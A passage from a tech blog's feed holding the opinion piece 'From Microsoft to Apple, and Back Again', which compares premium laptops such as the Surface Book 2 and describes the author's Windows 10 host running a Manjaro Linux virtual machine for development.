<p>And if anyone noticed that I&rsquo;m explicitly running Blender 4.3 instead of the newer Blender 4.4, it&rsquo;s because some addons still don&rsquo;t work on the newer version, so it&rsquo;s better to stay one version back to keep more compatibility with addons that don&rsquo;t update fast.</p>
]]></content:encoded><category>hardware</category><category>performance</category><category>linux</category></item><item><title>From Microsoft to Apple, and Back Again</title><link>https://www.akitaonrails.com/en/2017/11/21/from-microsoft-to-apple-and-back-again/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2017/11/21/from-microsoft-to-apple-and-back-again/</guid><pubDate>Tue, 21 Nov 2017 21:51:00 -0200</pubDate><description>&lt;p&gt;This is going to be a very lengthy article, buckle up ladies and gentlemen.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re hasty, here&amp;rsquo;s what you need to know:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows 10 is still Windows, but it&amp;rsquo;s nowhere near the nightmare of the 2000s. It rightfully deserves a new chance.&lt;/li&gt;
&lt;li&gt;OS X is on its way to becoming no more than an XCode runtime. Rumor says that Apple doesn&amp;rsquo;t even have a dedicated team for the desktop OS anymore. They are entirely focused on iOS and to make the iPad the desktop replacement.&lt;/li&gt;
&lt;li&gt;Linux is great, if you&amp;rsquo;re a full-time web developer, you can comfortably run something like Ubuntu or Manjaro/Arch (my personal recommendation).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Best cost-benefit: the Dell XPS 13. The Surface Book 2 is totally worth it if you&amp;rsquo;re a nerd like me. But as always, there are caveats to discuss.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is going to be a very lengthy article, buckle up ladies and gentlemen.</p>
<p>If you&rsquo;re hasty, here&rsquo;s what you need to know:</p>
<ul>
<li>Windows 10 is still Windows, but it&rsquo;s nowhere near the nightmare of the 2000s. It rightfully deserves a new chance.</li>
<li>OS X is on its way to becoming no more than an XCode runtime. Rumor says that Apple doesn&rsquo;t even have a dedicated team for the desktop OS anymore. They are entirely focused on iOS and to make the iPad the desktop replacement.</li>
<li>Linux is great, if you&rsquo;re a full-time web developer, you can comfortably run something like Ubuntu or Manjaro/Arch (my personal recommendation).</li>
</ul>
<p>Best cost-benefit: the Dell XPS 13. The Surface Book 2 is totally worth it if you&rsquo;re a nerd like me. But as always, there are caveats to discuss.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/663/20171121_111616.jpg" alt="Book 2"  loading="lazy" /></p>
<h2>The Specs<span class="hx:absolute hx:-mt-20" id="the-specs"></span>
    <a href="#the-specs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I will definitely not duplicate every <a href="https://www.youtube.com/watch?v=-Hh0lZ7Jg4U"target="_blank" rel="noopener">hardware review</a> you can find out there. They are all true. As <a href="https://www.ifixit.com/Teardown/Microsoft&#43;Surface&#43;Book&#43;2&#43;Teardown/100364"target="_blank" rel="noopener">iFixIt says</a>: it&rsquo;s the worst score in repairability. Like a Macbook, the Surface line-up is a statement. It&rsquo;s the best combination of design and functionality. But the trade-off is that it has zero expandability and you should really take care not to break it. If it breaks, make sure you have a warranty and ask for a replacement.</p>
<p>In terms of specs, it is close to other top-of-the-line notebooks.</p>
<p>The top of the line Surface Book 2 costs <a href="https://www.microsoft.com/en-us/surface/devices/surface-book-2/overview"target="_blank" rel="noopener">USD 3,299</a> and comes with 1 TB SSD, 16GB RAM, GTX 1060 w/ 6 GB GDDR5,  Intel Core i7 8th Gen Kaby Lake R, 4K display. It is super expensive, but you can easily justify it. More on that below.</p>
<p>The top of the line Dell XPS 15&quot; Touch costs <a href="http://dell.to/2jMDOx5"target="_blank" rel="noopener">USD 2,459</a> and comes with 1 TB SSD, <strong>32GB RAM</strong>, GTX 1050 w/ 4 GB GDDR5, Intel Core i7 7th Gen Kaby Lake, 4K display. The design of the XPS is top notch for at least 3 generations now. To me, this is the best cost-benefit.</p>
<p>The top of the line Razer Blade costs <a href="https://www.razerzone.com/gaming-laptops/razer-blade/shop"target="_blank" rel="noopener">USD 2,599</a> and comes with 1 TB SSD, 16 GB RAM, GTX 1060 w/ 6 GB, Intel Core i7 7th Gen, 4K display. It&rsquo;s arguably the best industrial design of this bunch, with Razer&rsquo;s impeccable attention to detail. But it&rsquo;s also arguably the one with least available support and more construction problems reported, so be careful to buy it overseas.</p>
<p>The top of the line HP Spectre x360 costs <a href="http://store.hp.com/us/en/pdp/hp-spectre-x360-15-bl152nr"target="_blank" rel="noopener">USD 1,499</a> and comes with 512 GB SSD, GeForce MX150 w/ 2GB GDDR5, Intel Core i7 8th Gen, 4K display. The design is awesome, super thin convertible. The specs are not so great, but it&rsquo;s the cheapest of the premium notebooks, so there&rsquo;s that.</p>
<p>The top of the line Lenovo Yoga 920 14&quot; Vibe costs <a href="http://lnv.gy/2A4DjlU"target="_blank" rel="noopener">USD 1,899</a> but it only comes with Intel Integrated Graphics (no secondary GPU), 1 TB SSD, 16 GB RAM, Intel Core i7 8th Gen, 4K display, and comes with the Pen. The design, again, is great with an almost 360-degree hinge so you can flip your screen around and use it as a tablet. A very good 2-in-1.</p>
<p>Now, the top of the line MacBook Pro 15&quot; costs <a href="http://apple.co/2zXSz6d"target="_blank" rel="noopener">USD 3,399</a> and comes with 1 TB SSD, Radeon Pro 560 w/ 4GB, Intel Core i7 7th Gen, UHD Display, and the infamous touch bar (50% chance of liking it). And that&rsquo;s it. The industrial design and construction are still top-notch, but the others are nearly as good nowadays.</p>
<p>If you use graphics-intensive applications, the Radeon Pro 560 is good, but the GTX 1060 is <a href="http://bit.ly/2zsIjE5"target="_blank" rel="noopener">superior</a>. Apple&rsquo;s UHD IPS (LCD) displays have a maximum resolution of 2560x1600. All premium notebooks nowadays come with full 4K (LED) displays with a maximum resolution of 3840x2160. It is noticeable. If you&rsquo;ve never seen a modern 4K display, the MacBook displays will look good enough. And that&rsquo;s without mentioning that they are all touchscreens with 4,096 points of sensitivity. What was once just a gimmick nowadays compares with the best Wacom has to offer. The Surface line-up comes close to the top of the line Wacom Cintiq and the new iPad Pro. They are in the same league.</p>
<p>There are 2 aspects of the Surface Book 2 that are lacking, unfortunately. First is the absence of a proper Thunderbolt 3 port. Without it, you can&rsquo;t connect to modern external storage or external GPUs. The second is the weak power supply. Reports say that in highly demanding games (a.k.a. Destiny 2 not properly configured), the system will throttle down and drain all the battery faster than it can charge from the wall. <a href="https://www.theverge.com/2017/11/21/16685986/microsoft-surface-book-2-power-problem"target="_blank" rel="noopener">The Verge broke this story</a> and Microsoft is yet to unveil a solution if any. So, if gaming is your top priority buy a Razer or any of the gaming specific laptops such as an Alienware. The battery issue is <a href="https://www.youtube.com/watch?v=imzVR4JSITM&amp;t=1s"target="_blank" rel="noopener">not as dramatic</a> as some have previously reported, though.</p>
<p>In terms of construction. Macs are usually all built with the same aluminum unibody construction. The Book 2 uses Magnesium instead. It makes for a very solid construction but also very lightweight. By the way, after so many years, everybody mastered aluminum. And they are moving in other directions, for example, Dell uses carbon fiber on the palm rests, which I find much more comfortable. Magnesium is also not as freezing cold as aluminum, again, more comfortable. I like that they are past just copying and really trying new and interesting materials.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/664/20171121_111533.jpg" alt="it’s not as thin"  loading="lazy" /></p>
<h2>Value Proposition<span class="hx:absolute hx:-mt-20" id="value-proposition"></span>
    <a href="#value-proposition" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>We established that the Surface Book 2 is very expensive, and it&rsquo;s not even good enough for highly demanding games such as Destiny 2.</p>
<p>Where it really shines is the fact that it&rsquo;s not a convertible 2-in-1 such as the Spectre or Yoga. You already know that it can detach the screen from the base.</p>
<p>The crown achievement of the Surface team is the <strong>dynamic fulcrum hinge</strong>. It&rsquo;s a marvel of engineering. When it&rsquo;s attached, it doesn&rsquo;t wobble nearly as much as one would expect. It&rsquo;s very solid, you can pick up the entire unit from the screen without worrying that the base might fall down or break.</p>
<p>When I first heard about it 2 years ago, I thought it was cool but that it could break over time, so I waited. I am all in now because 2 years later you don&rsquo;t see a &ldquo;hinge-gate&rdquo; or massive reports of the hinge falling apart, so you know it&rsquo;s solid. And 2 years later, no other manufacturer has it, and if you don&rsquo;t see a cheap knockoff from China, you can tell that this is a very difficult thing to build. Microsoft really nailed this part.</p>
<p>By having a detachable screen you also know that the main components are all behind the screen. The CPU, the GPU, the RAM, the SSD. So you have a top-of-the-line Intel i7 in a tablet! The battery is understandably small (no more than 3 hours) to drive a 15&quot; 4K display with touch capabilities and enough precision to rival the iPad Pro and the Wacom Cintiq or Mobile Studio.</p>
<p>Now, what most people don&rsquo;t report is that because of this, the screen housing is the one that gets warm. The performance base remains cool! So it&rsquo;s super comfortable to have it on your lap for many hours without the risk of getting sterile or getting boiled eggs in the process.</p>
<p>It has enough power to drive 1 external 4K display at 60hz or two 4K displays at 30hz. The MacBook Pro, with its custom port, can drive a 5K display. Something most notebooks still can&rsquo;t. So there&rsquo;s that.</p>
<p>I am not a designer by trade, but I am a hobbyist. And after many years working hard, I do believe that I can afford something like this. And don&rsquo;t get me wrong, the Surface Pro is another great option for a designer. The top-of-the-line Surface Pro has everything the Book 2 has, without the GTX 1060 but costing USD 600 less at <a href="https://www.microsoft.com/en-us/surface/devices/surface-pro/overview#surfaceconfiguration"target="_blank" rel="noopener">USD 2,699</a>. I think it&rsquo;s a more suitable product for most people interested in having an easy to carry sketch solution around.</p>
<p>Creative Professionals are the ones that fully need to be careful about specs. But for the majority of non-demanding professionals, they can pay a lot cheaper. They don&rsquo;t need extra GPU horsepower, or the i7 (an i5 is more than adequate), 8 GB of RAM is enough, even 256 GB of SSD is ok because everything is in the so-called &ldquo;Cloud&rdquo; these days. This is the <a href="http://www.dell.com/en-us/shop/dell-laptops/new-xps-13/spd/xps-13-9360-laptop/dncwtr744h"target="_blank" rel="noopener">USD 999</a> Dell XPS 13. Or the only comparable option from Apple is the <a href="https://www.apple.com/shop/buy-mac/macbook"target="_blank" rel="noopener">USD 1,299</a> with a ridiculous Intel m3 processor. For most professionals, the cheaper Dell XPS 13 is a much better value proposition than the Macbook.</p>
<p>For demanding professionals, the Dell XPS 15 is the best value for the buck. The Surface Book 2 is the best premium one for those that favor the touch screen more than workflow. Meaning: designers, go with the Book 2, video editors or 3D modelers, go with the Dell XPS.</p>
<p>Oh, and one last thing about price. The MacBook Pro 15&quot; costs USD 3,399 and the Book 2 costs USD 3,299. But if you want a tablet, you still need to add an extra USD 949 for a 12&quot; iPad Pro with Wi-Fi and 256 GB of storage. And you will end up having to carry around a heavier backpack.</p>
<h2>Why not install Linux?<span class="hx:absolute hx:-mt-20" id="why-not-install-linux"></span>
    <a href="#why-not-install-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>You don&rsquo;t buy a Surface product unless you&rsquo;re interested in the <strong>Surface Pen</strong> experience and ecosystem. I think this is obvious, otherwise, you&rsquo;re better off buying a Dell XPS or any other cheaper notebook.</p>
<p>It&rsquo;s also obvious why it makes no sense to ask <em>&ldquo;Why don&rsquo;t you ditch Windows and install Linux on it?&rdquo;</em>. Because no Linux distro has Pen support, whatsoever. The performance base also has a physical key that you need to press in order for the hinge to release the display.</p>
<p>You want to have Adobe Photoshop, or Autodesk Sketchbook, or Sketchable, or any other great software package out there. Again, I don&rsquo;t want to repeat every other <a href="https://www.youtube.com/watch?v=U8cpC2jZdgM"target="_blank" rel="noopener">review available</a> out there showing how great the pen is. I will just confirm that, yes, the pen is super great, precise, accurate, and flows very naturally. It&rsquo;s an entire studio in a box.</p>
<p>Software developers by trade should <strong>stay away</strong> from this kind of product because most Linux distros won&rsquo;t have the proper drivers to hook up to so much exclusive hardware solutions. For those situations I highly recommend the Dell XPS 13, specifically the <a href="http://dell.to/2A3SPOZ"target="_blank" rel="noopener">USD 1,759</a> configuration with Windows 10 Pro (or you can save USD 60 and get it with the Home edition if you intend to install Linux on top of it), the great QHD+ (3200x1800) InfinityEdge touch display, 8th Gen Intel Core i7, 16 GB RAM, 512 GB SSD. This is, by far, the best value for the money for a full-time software developer.</p>
<p>OS X has a great community <strong>despite</strong> Apple not doing a lot to help them. Historically, the jump from the legacy MacOS to OS X meant having a UNIX-compatible kernel and toolchain available. To this day, it&rsquo;s still not comparable to a modern Linux distro. But OS X makes it up to it by having, by far, the best Graphics Compositor around. The GUI is smooth, responsive.</p>
<p>The Darwin Mach kernel supports multiple policies, most important for Creative Professionals, mainly musicians, was the <strong>soft real-time</strong> capabilities of the scheduler. To this day, <a href="https://wiki.archlinux.org/index.php/Realtime_kernel"target="_blank" rel="noopener">Linux Real Time</a> is not the default option, and it&rsquo;s not as well tuned or stable. And the Windows kernel evolved, but again, still not nearly as polished.</p>
<p>Soft Real-Time avoids the stuttering effect we see. And is one factor of why the Mac experience is, overall, superior even on less powerful hardware.</p>
<p>In particular, everybody around the <a href="https://brew.sh/"target="_blank" rel="noopener">Homebrew</a> community deserves high praise for their efforts of keeping up in bringing open source tools to OS X, <strong>despite</strong> every new Xcode update and OS X upgrade, breaking them.</p>
<h2>My Environment<span class="hx:absolute hx:-mt-20" id="my-environment"></span>
    <a href="#my-environment" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/662/20171121_111546.jpg" alt="Magnesium Body"  loading="lazy" /></p>
<p>After a lot of experimentation, I decided to settle on having a native Windows 10 to drive the host and having a full-blown Linux distro (<a href="https://manjaro.org/get-manjaro/"target="_blank" rel="noopener">Manjaro GNOME</a>) on a Virtualbox environment where I give 4 of the 8 cores (2 physical cores, each with 2 hyperthreads) and half the memory (8 GB).</p>
<p>Why not use the brand new <a href="https://msdn.microsoft.com/en-us/commandline/wsl/faq#can-i-run-all-linux-apps-in-wsl"target="_blank" rel="noopener">Windows Subsystem for Linux (WSL)</a> instead?</p>
<p>Because although it&rsquo;s great and all, we will need to wait until they figure out the rough edges. Particularly a better GUI support and faster I/O abstraction. What hurts the most is how <strong>painfully slow</strong> the filesystem layer is right now. It&rsquo;s an <a href="http://www.akitaonrails.com/en/2017/09/20/windows-subsystem-for-linux-e-bom-mas-ainda-nao-suficiente"target="_blank" rel="noopener">order of magnitude slower</a> than using Linux on Virtualbox.</p>
<p>I could use a Vagrant-like hybrid solution, having a headless Linux distro on Virtualbox and accessing a file through CIFS/NFS. And that should be fine if you like editors like Sublime Text 3, Visual Studio Code or Atom. But I am a Vim guy, and I like GVIM, which works best within GNOME, within a proper GUI-enabled Linux distro.</p>
<blockquote>
  <p><em>&ldquo;Why not use Docker? It&rsquo;s supposed to be super-fast and all.&rdquo;</em></p>

</blockquote>
<p>It surprises me when people ask that because it demonstrates how little they know about the tools they recommend.</p>
<p>Docker only really makes sense on a proper Linux distro. On Windows, it will have to run Linux on Virtualbox or Hyper-V. On Mac, it will use the Hypervisor framework, which - like Microsoft&rsquo;s Hyper-V - is a <strong>virtualization</strong> layer. It&rsquo;s just like Virtualbox, for all intents and purposes.</p>
<p>Docker, like LXC, is just making a process &ldquo;believe&rdquo; it&rsquo;s running alone on the OS by hiding the other processes from it. So, on Linux, it&rsquo;s super fast. On any other platform, they have to virtualize Linux proper and then run Docker there.</p>
<p>The Docker client is actually communicating with a virtualized Linux on Windows or Mac. You&rsquo;ve been fooled if you believed it&rsquo;s faster than Virtualbox or Hyper-V in any meaningful way. There is no magic here.</p>
<blockquote>
  <p><em>&ldquo;Why not just dual-booting then?&rdquo;</em></p>

</blockquote>
<p>Again, this doesn&rsquo;t help my scenario. I want a full GNOME GUI environment. And I don&rsquo;t want to keep Outlook on Windows and Thunderbird or Evolution on Linux for example, and managing different accounts on all sorts of different applications (and yes, I highly prefer native binaries instead of web apps, I am old-school like that). I don&rsquo;t want to reboot when I want to use Photoshop and reboot back to Linux to run Vim.</p>
<p>I <strong>want</strong> to have software from both platforms available to me <strong>at the same time</strong>. I don&rsquo;t believe in dual-boot scenarios unless the usages are completely separated. For example, using a Linux distro all day, and at night rebooting into Windows to run Steam and play some games.</p>
<p>Yes, Virtualbox will have a less responsive UI thanks to a virtualized Graphics pipeline. But for software development, it works just fine. I even see people doing gimmicky things such as having a full development environment in an AWS EC2 instance and SSH&rsquo;ing there to use Vim with Tmux, for example. That is far more convoluted if you ask me. I wouldn&rsquo;t go that far.</p>
<p>All top-of-the-line hardware I listed above has enough Cores and enough RAM so I can afford running 2 OSes at the same time. Don&rsquo;t do that on budget hardware.</p>
<p>And if you don&rsquo;t need to carry around a notebook, for the same amount of money you can buy a far superior desktop computer.</p>
<blockquote>
  <p><em>&ldquo;But you have all native on OS X, because it&rsquo;s UNIX and all&rdquo;</em></p>

</blockquote>
<p>Yes, but I really distrust Apple&rsquo;s OS X big upgrades. They always, always screw up something. After I had my fair share of lost work days after upgrades, I moved my development environment to <a href="https://www.vagrantup.com/"target="_blank" rel="noopener">Vagrant</a> at least 5 years ago. So I was using Linux in Virtualbox (or VMWare) all along. I never looked back. I was always reading people complaining after the big upgrades and there I was, unharmed and productive. Virtualbox was way worse back then, it&rsquo;s not so much nowadays. I can&rsquo;t remember the last time it crashed on me, if ever.</p>
<blockquote>
  <p><em>&ldquo;Well, and why not Hyper-V instead of Virtualbox?&rdquo;</em></p>

</blockquote>
<p>I did try it. And I do not recommend it right now. It was built so Windows can run Linux boxes in <strong>servers</strong>. So it&rsquo;s super good in partitioning the hardware resources between the different virtual instances. Unless you&rsquo;re a sysadmin in training or in need of a simulated server on your laptop, this is not for you.</p>
<p>It has very poor support for graphics (headless servers don&rsquo;t need graphics). The maximum resolution in the virtual monitor is a ridiculous 1152x864. My Virtualbox supports my LG Ultrawide 2560x1080 monitor just fine. Hyper-V can&rsquo;t and this is a deal breaker.</p>
<p>Virtualbox, VMWare, Parallels, Hyper-V will all use the same VT-X instructions provided by Intel. The base performance will not be so different. Guest tools might differ. Some stability might differ. But all in all, they&rsquo;re basically the same thing from the user&rsquo;s usability standpoint.</p>
<p>I know, it sounds &ldquo;weird&rdquo; to run Windows 10 as the primary native host. But it does work generally fine right now.</p>
<p>And I also know that it sounds weirder to run a Linux distro as a secondary guest OS in Virtualbox. And again, let me tell you that when I am using it in full-screen mode, working, I don&rsquo;t feel like it&rsquo;s slow or unresponsive.</p>
<h2>The Software<span class="hx:absolute hx:-mt-20" id="the-software"></span>
    <a href="#the-software" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you&rsquo;re in OS X you are probably used to a lot of tools. You paid money for some of those. And switching to another OS is always a pain.</p>
<p>In summary, the only piece of software that I really missed, at first, was Keynote. But I went past my prejudice against PowerPoint and I have to say that it does everything I really need right now.</p>
<p>I always hated Pages and Numbers, they are very good for amateurs. But nothing, not even LibreOffice, and definitely not Google Docs can replace Office. Google Slides is terrible and Impress is beyond useless to me (and it&rsquo;s super slow). Seriously, PowerPoint is now a much better tool.</p>
<p>Office in the Mac was always &ldquo;enough&rdquo;, luckily. But Office on Windows is far superior. No doubts in my mind, so one big benefit for me going back to Windows 10 is having the full Office experience.</p>
<p>If you use the Pro line of tools, you will miss Final Cut Pro. If you&rsquo;re a professional musician, you will miss Logic Pro. There is nothing like Garageband if you&rsquo;re a hobbyist musician. There is nothing we can do here. And even though we have better hardware on PC, Apple custom tweaks Final Cut to perform exceedingly better on AMD Radeon Pro. So Final Cut export times are still superior to Adobe Premiere&rsquo;s. Motion 5 is still easier and more responsive than After Effects.</p>
<p>That being said, it&rsquo;s not by a huge margin. Adobe Creative Suite is super strong, and unless you&rsquo;re a one-trick pony, any pro can switch to Adobe and get the job done.</p>
<p>In terms of software development, unless you&rsquo;re a one-trick .NET pony, you will want all the open source shebang. WSL is supposed to provide you that - in the future. Right now your best bet is running Virtualbox and you will not regret it.</p>
<p>Yes, yes, you have small exclusive software such as 1Password, Tweetbot, Alfred. I don&rsquo;t miss any of those. Especially because my last iPhone was the 4 back in 2010. Then I switched to Android with the Galaxy S4 and also never looked back. I&rsquo;m using an S8 and about to receive my Pixel 2, so I am good in terms of Twitter client or password management (I use LastPass and although it&rsquo;s not perfect, it gets the job done).</p>
<p>Either there is a good enough native desktop replacement or a mobile replacement, or there is a Web service. I may feel uncomfortable changing, but in practice, there is nothing in macOS that prohibits me from switching. Even if you bought iTunes songs or movies, there is iTunes for Windows.</p>
<blockquote>
  <p><em>&ldquo;But wait, Windows Update will annoy you!&rdquo;</em></p>

</blockquote>
<p>I thought as much. Microsoft did finally figure it out. It&rsquo;s still there, you still need to restart. But it&rsquo;s not nearly as annoying as it was before. Most updates will run in the background and you won&rsquo;t even notice. And you have several options such as <a href="https://support.microsoft.com/en-us/help/4028233/windows-10-schedule-or-pause-updates"target="_blank" rel="noopener">scheduling it</a> to run only at night when you&rsquo;re not working.</p>
<blockquote>
  <p><em>&ldquo;But what about the security issues and viruses!?&rdquo;</em></p>

</blockquote>
<p>Yes, I highly recommend you not to browse the Deep Web on a Windows machine, you will be owned. Not even using a Tor browser. You will be owned.</p>
<p>I also recommend you to use BitLocker (only available on Windows 10 Pro) to encrypt your partition. And also to backup to external hard drives as frequently as you can. Nothing can save you better than a readily available cold backup.</p>
<p>And yes, install some 3rd party solution such as <a href="https://www.avast.com/index"target="_blank" rel="noopener">Avast antivirus</a>. Have healthy web browsing behavior and avoid shady websites. You know what I am talking about. You will be owned.</p>
<p>If you must, install a secure Linux distro within Virtualbox and open Tor from there.</p>
<blockquote>
  <p><em>&ldquo;But what about the mess that is the Registry!?&rdquo;</em></p>

</blockquote>
<p>It&rsquo;s still there. If you never experienced it, the Registry is Windows&rsquo; equivalent of &ldquo;/etc&rdquo; in Linux distros. It&rsquo;s a binary database. It gets corrupted. It gets dirty entries.</p>
<p>But my recommendation is: forget about it. If you&rsquo;re thinking and tinkering with it, you will get a corrupt system. Do not try to clean it up (never, ever use something like CCleaner).</p>
<p>Windows itself now has automatic system restore snapshotting everytime something big happens. And it&rsquo;s mostly reliable. They go as far as duplicating the current &ldquo;C:\Windows&rdquo; directory into a &ldquo;C:\Windows.old&rdquo; when there is a big Windows Update, just in case. They shot themselves in the foot so many times that they finally learned to have several layers of recovery options.</p>
<p>Nowadays you can even download the <a href="https://www.microsoft.com/en-us/software-download/windows10"target="_blank" rel="noopener">Media Creation tool</a> from the Windows website itself. You don&rsquo;t even have to sign up anywhere. And the Windows license comes with the machine&rsquo;s firmware (BIOS). You don&rsquo;t even have to remember where your product activation key is. It automatically activates and because every machine comes with a license, the process is seamless. And most manufacturers have automatic updates for drivers and firmware.</p>
<p>So you should have a reasonably smooth experience, no matter what.</p>
<blockquote>
  <p><em>&ldquo;But Windows is not open source!&rdquo;</em></p>

</blockquote>
<p>Neither is OS X. And this is a Linux advantage. So, if you must, use just Linux natively. The point of the argument is finding an alternative to the Mac. So we&rsquo;re on the same page.</p>
<h2>The Ruby on Rails and the Hipsters effect<span class="hx:absolute hx:-mt-20" id="the-ruby-on-rails-and-the-hipsters-effect"></span>
    <a href="#the-ruby-on-rails-and-the-hipsters-effect" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Truth be told. In the software development arena, we switched to the Mac mainly because of Rails and Textmate 2. We had access to some open source tools built-in, we had GCC to compile the rest. Windows XP was way past due. Windows Vista was a terrible experience. The PC hardware manufacturers were not even trying, and Apple was launching good hardware and good experience all the time.</p>
<p>Developers switched in droves after the switch from PowerPC to Intel in 2005. My very first Mac was a G4 Mac Mini with OS X 10.4 Tiger. And then I bought the very first Intel White MacBook and I never looked back.</p>
<p>Software tools on Windows were laughable. Visual Studio.NET was terrible. Eclipse-based IDEs were terrible. We didn&rsquo;t have Powershell yet. And we definitely never had anything like WSL for command-line. You could install Cygwin, but it was a poor experience.</p>
<p>And running Linux as the primary OS was also terrible. Wine is still terrible, despite its best efforts. Unfortunately, NVIDIA and AMD GPUs will only run at their best on Windows. And Linux was never really good for content creation. It&rsquo;s not even a matter of learning a new workflow, the tools are mediocre. They have to reverse engineer everything, and that takes time. And in the velocity of social media, we don&rsquo;t have enough time, so we need to settle for compromises.</p>
<p>The Windows ecosystem stopped pretending, and finally embraced everything the open source and Apple ecosystem built. Now we all benefit.</p>
<p>By the way, if you like iTerm 2, you will be delighted to install <a href="https://gnunn1.github.io/tilix-web/"target="_blank" rel="noopener">Tilix for Linux</a>, which is very similar.</p>
<h2>As time goes by<span class="hx:absolute hx:-mt-20" id="as-time-goes-by"></span>
    <a href="#as-time-goes-by" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I have been following the Surface line-up evolution over the years. In the beginning, I was very skeptical. Because it&rsquo;s very easy to launch a gimmicky product and discontinue it. I trust companies that keep evolving their products over the years. Not only does an ecosystem form around it, but you have time to put together support services, there are parts available in the official stores and in the aftermarket. After all these years, Microsoft deserves to be called a hardware manufacturer.</p>
<p>This is Microsoft finally fulfilling what Alan Kay once said:</p>
<blockquote>
  <p><em>&ldquo;People who are really serious about software should make their own hardware.&rdquo;</em></p>

</blockquote>
<p>They only really failed in the smartphone market, the competition is way more difficult there and because of that margins are super low. But they did nail the tablet market, the desktop, the notebook, the gaming, the servers (with their own Azure services), so now I believe that they really <strong>understand</strong> the specific needs of all those areas, and it shows in the software. They have a far superior understanding of every market - but the smartphone - than Apple. They finally have true skin in the game.</p>
<p>Because now Microsoft builds their own hardware and they made a business out of it, they have real incentive inside the teams in the company for a positive feedback loop that results in more refinements to the Windows codebase.</p>
<p>They have been trying and failing in the touch-based solutions since the early 2000s. Now the Pen is not a gimmick anymore, it&rsquo;s a real product, with real qualities, and real use cases.</p>
<p>They also kept their vision of playing nice with Open Source. No one can reasonably expect Microsoft to go full-blown open source. But it shows. They are second only to Google on GitHub in terms of open source contributions. They acquired Xamarin and their .NET Core strategy is on-going and strong. Heck, even Visual Studio received the open source treatment. There is still a long road ahead, but one has to recognize the giant steps.</p>
<p>Which is way more than we can say about Apple, where the poor guys at <a href="https://github.com/Homebrew/homebrew-core/issues/14418"target="_blank" rel="noopener">Homebrew suffer</a> on each OS X upgrade.</p>
<p>The Surface RT and Windows Mobile attempt even made it possible for Windows to finally be compiled to run on ARM processors. This is a good sign going forward. Reminds me when OS X was first compiled to run on Intel processors (they ran on PowerPC before) in 2005.</p>
<p>And the Macbook? They get a gimmick touch bar. Apple is really out of touch with reality.</p>
<h2>Why am I out from the Apple ecosystem?<span class="hx:absolute hx:-mt-20" id="why-am-i-out-from-the-apple-ecosystem"></span>
    <a href="#why-am-i-out-from-the-apple-ecosystem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Apple&rsquo;s focus is not on the Mac. Worse: the Mac is quickly becoming abandonware, despite the PR statements.</p>
<p>They are clearly an iPhone company, with a hobbyist side business that builds Macs and MacBooks, which exist mostly to serve as an iPhone app development toolchain. This is the business model.</p>
<p>Did you see their latest Ad for the iPad?</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/sQB2NjhJHvY"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Yes, this is super cute and I dig it.</p>
<p>But the message is crystal clear: the vision is for people to use only iPhones and iPads. There is no such thing as a &ldquo;computer&rdquo;.</p>
<p>They are the most valued tech company right now. But since last year, they don&rsquo;t even have a dedicated OS X team anymore. What does that tell you?</p>
<p>The iOS line-up is a &ldquo;monopoly&rdquo; within Apple&rsquo;s line up. The Mac can&rsquo;t compete. Steve Jobs himself <a href="https://www.youtube.com/watch?v=ZBma82g3Uag"target="_blank" rel="noopener">warned</a> about what happens to monopolies.</p>
<p>We are starting to hear the same story all over the industry:</p>
<ul>
<li><a href="http://cdm.link/2016/09/apples-relationship-pro-music-needs-mending/"target="_blank" rel="noopener">Apple&rsquo;s relationship with pro music needs some mending</a> - Sep, 26, 2016</li>
<li><a href="https://www.bloomberg.com/news/articles/2016-12-20/how-apple-alienated-mac-loyalists"target="_blank" rel="noopener">How Apple Alienated Mac Loyalists</a> - Dec, 20, 2016</li>
<li><a href="https://www.theverge.com/2016/12/21/14037686/apple-macbook-macos-focus-mobile-features-ios"target="_blank" rel="noopener">macOS is becoming legacy software</a> - Dec, 21, 2016</li>
<li><a href="https://www.stuckincustoms.com/2017/02/10/switching-from-mac-to-windows/"target="_blank" rel="noopener">Apple Is Dead To Me… I&rsquo;m Switching To Windows!</a> - Feb, 10, 2017</li>
<li><a href="https://char.gd/blog/2017/why-i-left-mac-for-windows-apple-has-given-up"target="_blank" rel="noopener">Why I left Mac for Windows: Apple has given up</a> - Mar, 5, 2017</li>
</ul>
<p>Microsoft played their cards right. It took almost 15 years. But it paid off in spades. Apple really did alienate the loyalists, the ones that used to &ldquo;Think Different&rdquo;.</p>
<p>Apple is a &ldquo;victim&rdquo; of Clayton Christensen&rsquo;s <a href="https://www.amazon.com/Innovators-Dilemma-Revolutionary-Change-Business/dp/0062060244"target="_blank" rel="noopener">&ldquo;Innovator&rsquo;s Dilemma&rdquo;</a>. If they still had vision left, they could reach out and maintain. But instead, they chose to go all-in on a single product line.</p>
<p>Microsoft seems to have read the Clayton&rsquo;s <a href="https://www.amazon.com/Innovators-Solution-Creating-Sustaining-Successful/dp/1422196577/ref=pd_sim_14_4?_encoding=UTF8&amp;psc=1&amp;refRID=CC6NWGVZMEWTTDETMZ8W"target="_blank" rel="noopener">&ldquo;Innovator&rsquo;s Solution: Creating and Sustaining Successful Growth&rdquo;</a>.</p>
<p>When the iPod was at its peak, Microsoft had &ldquo;lost&rdquo;. They were out of the game. It was a depressing thing to see. Steve Ballmer was a shameful CEO. Windows Vista was a shameful OS. The Zune failed to capture the aura of the iPod. Windows Mobile was a mess. And Sharepoint &hellip; oh Sharepoint. They even celebrated when JQuery was added to ASP.NET! Talk about too little too late.</p>
